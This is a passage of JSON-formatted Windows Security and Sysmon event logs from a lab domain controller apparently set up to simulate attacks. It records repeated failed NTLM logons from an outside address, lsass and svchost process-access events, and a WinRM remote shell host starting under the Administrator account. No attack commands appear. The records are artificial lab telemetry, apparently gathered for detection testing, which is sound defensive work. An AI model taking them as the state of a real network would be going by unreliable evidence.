requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52818","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221706,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52862\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52862","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.418\r\nProcessGuid: {90617006-4009-5F2D-0000-0010424F0400}\r\nProcessId: 4472\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020094F0400}\r\nLogonId: 0x44F09\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.418","ProcessGuid":"{90617006-4009-5F2D-0000-0010424F0400}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020094F0400}","LogonId":"0x44f09","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nTargetProcessId: 4472\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","TargetProcessId":"4472","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nTargetProcessId: 4472\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","TargetProcessId":"4472","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 